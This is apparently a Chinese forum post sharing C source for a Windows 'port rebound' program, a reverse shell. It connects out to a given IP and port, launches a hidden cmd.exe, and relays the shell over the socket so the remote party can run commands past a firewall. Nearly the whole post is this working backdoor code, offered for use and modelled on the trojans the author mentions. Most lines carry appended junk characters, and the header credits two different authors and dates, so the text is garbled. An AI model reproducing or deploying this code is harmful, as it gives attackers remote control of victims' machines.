Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 -Tk~c1I#`  
8@/]ki`>  
/* ============================== $+ZO{ (  
Rebound port in Windows NT tGD$cBE  
By wind,2006/7 ;'pEzz?k"  
===============================*/ `ivr$b#  
#include m7e$Z  
#include 0sq/_S  
&^4W+I{H  
#pragma comment(lib,"wsock32.lib") /,= wP)  
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void OutputShell(); (>>pla^  
SOCKET sClient; .dp~%!"Sn,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x-Z`^O  
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void main(int argc,char **argv) C|W_j&S65  
{ X?Omk, '  
WSADATA stWsaData; FWdSpaas Q  
int nRet; >9=Y(`  
SOCKADDR_IN stSaiClient,stSaiServer; _hMVv&$  
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if(argc != 3) n\*>mp)  
{ *`);_EVc  
printf("Useage:\n\rRebound DestIP DestPort\n"); t3Q;1#Zf  
return; 9))%tYN  
} OV>T}Fq  
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WSAStartup(MAKEWORD(2,2),&stWsaData); K~@-*8%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =YZp,{T  
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stSaiClient.sin_family = AF_INET; PQvq$|q  
stSaiClient.sin_port = htons(0); 3VA8K@QiRm  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S5v>WI^0h  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0} liK  
{ |RAi6;  
printf("Bind Socket Failed!\n"); yi# Nrc5B  
return; `-s+ zG  
} R`ZU'|  
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stSaiServer.sin_family = AF_INET; =t&B8+6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *xU^e`P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  mbd
  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {)ZbOq2  
{ Zu\#;O   
printf("Connect Error!"); V>A@Sw  
return; ILF
"m;  
} MJV&%E6{:{  
OutputShell(); 7x-k-F3  
} N iNZh;  
'_r|L1  
void OutputShell() YcRjbF,|6  
{ ?8! 4!P%n  
char szBuff[1024]; i3;Z:,A4NN  
SECURITY_ATTRIBUTES stSecurityAttributes; z=>]E1'RL  
OSVERSIONINFO stOsversionInfo; A~nq4@uj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _\sm$ `q  
STARTUPINFO stStartupInfo; UH%?{>oRh  
char *szShell; Cl<`uW3  
PROCESS_INFORMATION stProcessInformation; pR 1v^m|  
unsigned long lBytesRead; Wz:MPdz3(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -hp,O?PM  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0NpxqeIDY  
stSecurityAttributes.lpSecurityDescriptor = 0; )/bt/,M&}  
stSecurityAttributes.bInheritHandle = TRUE; S][:b  
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pVt-7AgW  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I g-VSQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ao`9fI#q  
;n7k_K#0z!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %>xW_5;Z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .b N0!  
stStartupInfo.wShowWindow = SW_HIDE; 8dIgw  
stStartupInfo.hStdInput = hReadPipe; i]hFiX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wOHK dQ'  
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GetVersionEx(&stOsversionInfo); [ "J  
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switch(stOsversionInfo.dwPlatformId) uA:;OM}  
{ N<Y-]xS  
case 1: '9<Mk-Aj  
szShell = "command.com"; vh?({A#>.E  
break; }6C&N8f  
default:
tPC8/ntP8  
szShell = "cmd.exe"; R*Pf
c91}  
break; YIgzFt[L  
} ] =>vv;L  
;?zb (2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >?U(w<  
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send(sClient,szMsg,77,0); ,a^_ ~(C  
while(1) biKpV?Dp  
{ I7BfA,mZ7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H0tjN&O_  
if(lBytesRead) )u\"xxcV  
{ q$b/T+-ec  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HewVwD<C  
send(sClient,szBuff,lBytesRead,0); _u{D#mmO  
} 2lAuO!%  
else GE~mu76%  
{ KQ3)^J_Z  
lBytesRead=recv(sClient,szBuff,1024,0); |4X:>Ut]  
if(lBytesRead<=0) break; 6prN,*k5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2',t@<U  
} rCYNdfdpp  
} 1/a*8vuGh  
YDjQ&EH  
return; _k5KJKvr  
}